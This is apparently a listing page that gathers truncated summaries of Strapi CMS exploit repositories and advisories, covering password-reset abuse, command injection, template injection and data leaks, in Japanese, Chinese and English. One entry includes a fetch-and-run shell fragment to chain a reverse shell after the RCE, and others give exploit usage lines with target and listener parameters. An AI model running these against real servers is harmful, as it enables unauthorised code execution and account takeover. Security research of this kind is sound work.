Strapi-RCE

Strapi-RCE CVE-2019-18818 と CVE-2019-19609 を組み合わせたエクスプロイトスクリプトです。Strapi CMS において認証なしでリモートコード実行を実現します。 エクスプロイト このスクリプトは、Strapi CMS バージョン 3.0.0-beta.17.4 以前の脆弱性を悪用し、認証なしでのリモートコード実行を可能にします。 説明 このエクスプロイトは、まずパスワードリセットの脆弱性を利用して管理ユーザーの JSON Web Token JWT を取得します。次に、そのトークンを使って Strapi CMS...

CVE-2019-19609-POC-Python

このスクリプトは、"updatedpass" 変数で宣言されたパスワードへのリセットを試みます。成功すると、Strapi から JWT トークンを取得し、それを使用してコマンドを実行します。 bind コマンドの実行は、bash や python などでリバースシェルペイロードを送信しない限り機能しません。.sh ファイルを生成して nc をダウンロードして実行させるなど、どんな方法でもかまいません。elf でも構いません。そのためには、payloadexp を && から に変更してください。例: && $wget xxxx -O /tmp/oooo; bash /tmp/ooo UR...

CVE-2026-108114

Strapi 5.47.0 through 5.57.0 contains an improper authorization vulnerability that allows admin API tokens to retain all-field Content Manager access after the owner's role is field-restricted. Because reconcileTokenPermissionsToUserCeiling ignores token permissions with omitted or null fields,...

Strapi-CVE-2019-1881

Strapi-CVE-2019-1881 作者：Kynda 1. pip install requests 2. python3 exploit.py :...

CVE-2026-108114

Strapi versions 5.47.0 through 5.57.0 are vulnerable to an improper authorization flaw (CWE-863) involving Admin API tokens. The root cause lies in the reconcileTokenPermissionsToUserCeiling function, which fails to account for token permissions containing omitted or null fields . Consequently, e...

CVE-2026-108114 Strapi 5.47.0 through 5.57.0 Improper Authorization via Admin API Token Field Permissions

Strapi 5.47.0 through 5.57.0 contains an improper authorization vulnerability that allows admin API tokens to retain all-field Content Manager access after the owner's role is field-restricted. Because reconcileTokenPermissionsToUserCeiling ignores token permissions with omitted or null fields,...

EUVD-2026-96338

Strapi 5.47.0 through 5.57.0 contains an improper authorization vulnerability that allows admin API tokens to retain all-field Content Manager access after the owner's role is field-restricted. Because reconcileTokenPermissionsToUserCeiling ignores token permissions with omitted or null fields,...

CVE-2023-22894

認証不要のStrapiエクスプロイト: CVE-2023-22894 このリポジトリには、CVE-2023-22894の概念実証（PoC）エクスプロイトが含まれています。これは、認証されていないユーザーがStrapiのフィルタリング機能をプライベートフィールドに対して悪用することで、機密情報を漏洩させ、Strapi管理者アカウントを乗っ取ることを可能にします。 概要...

CVE-2022-32114

Strapi v4.1.12 脆弱性の説明: Strapi v4.1.12 の「Add New Assets」機能における無制限ファイルアップロードの脆弱性により、攻撃者は細工されたファイルを介して任意のコードを実行できます。 攻撃ベクトル: 悪意のあるコンテンツを含むファイルをアップロードした後、ユーザーがファイルへのリンクを開くと、それが実行されます。 ペイロード: https://github.com/bypazs/GrimTheRipper/blob/main/GrimTheRipperTeam.pdf テスト環境: 1. Strapi バージョン 4.1.12 2. Googl...

CVE-2019-19609

Strapi CMS 漏洞利用 该漏洞利用针对 Strapi CMS 框架 3.0.0-beta-17.4 版本中的两个漏洞，允许未经身份验证的远程代码执行（RCE）。 漏洞 CVE-2019-18818 弱密码恢复机制导致忘记密码 CVSS : 9.8 - 严重 更多详情: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 未正确中和 OS 命令中的特殊元素（'OS 命令注入'） CVSS : 7.2 - 高危 更多详情:...

Strapi Versions <=4.5.6 - Authentication Bypass

Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that...

CVE-2019-19609

CVE-2019-19609 Strapi 框架存在远程代码执行漏洞 好吧，我没找到针对 CVE-2019-19609 的利用代码，所以我写了一个。:/ 用法 python3 exploit.py 视频 https://youtu.be/alhZJmuUd2s 更多信息 https://hack-fast.herokuapp.com/cve/CVE-2019-19609 https://github.com/strapi/strapi/pull/4636...

CVE-2019-18818

CVE-2019-18818 Strapi = 3.0.0-beta エクスプロイト POC...

CVE-2023-22621-POC

CVE-2023-22621-POC CVE-2023-22621: メールテンプレートを悪用したSSTIからRCEへの昇格。Strapi バージョン return strapi.config.get'plugin.email'; ; const send = async options = return strapi.plugin'email'.provider.sendoptions; ; / fill subject, text and html using lodash template @param object emailOptions - to, from and...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 認証されたリモートコード実行...

CVE-2019-19609-EXPLOIT

CVE-2019-19609 漏洞利用 针对 Strapi 中 CVE-2019-19609 的漏洞利用（strapi-3.0.0-beta.17.7 及更早版本的远程代码执行）。 我曾面对此漏洞的场景，但没有公开的漏洞利用代码。我决定自己编写并在此分享。 安装 git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 使用方法 cd CVE-2019-19609-EXPLOIT python exploit.py -d DOMAINORIP -jwt JSONWEBTOKEN -l LHOST -p LPORT...

Strapi Versions <=4.5.5 - SSTI to Remote Code Execution

Strapi through 4.5.5 allows authenticated Server-Side Template Injection SSTI that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses t...

CVE-2026-22599

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-22599 CVE-2026-22599 Strapi 5.33.1 - Strapi 我是 @abraxasnull。Loopback 实验环境。客户端为 CVE-2026-22599-Abraxas-Labs.py。 Content-Type Builder 写入 API 数据库查询注入。Yup 会进行校验，但不会剥离未知的 column.defaultTo。Schema builder 将 value,...

Strapi Cleartext Storage of Sensitive Information Vulnerability

Strapi contains a cleartext storage of sensitive information vulnerability that could allow attackers with access to the admin panel to discover sensitive user details via the query filter. The impacted products could be end-of-life EoL and/or end-of-service EoS. Users are advised to discontinue...

CVE-2026-27886

CVE-2026-27886 Strapi PoC 仅限授权的安全测试。 Strapi因缺少查询清理而通过关系过滤泄露敏感数据。 包含： CVE-2026-27886.py - Python PoC CVE-2026-27886.yaml - Nuclei 检测模板 检测内容 检查器向公开的 Strapi 内容 API 集合端点发送两个请求： GET /api/ GET /api/?whereid$lt=-1 如果基线响应包含记录，而错误的 where 谓词将结果集缩减为零，则该端点可能存在漏洞。 使用方法 Python 安全检测： python3 CVE-2026-27886.py...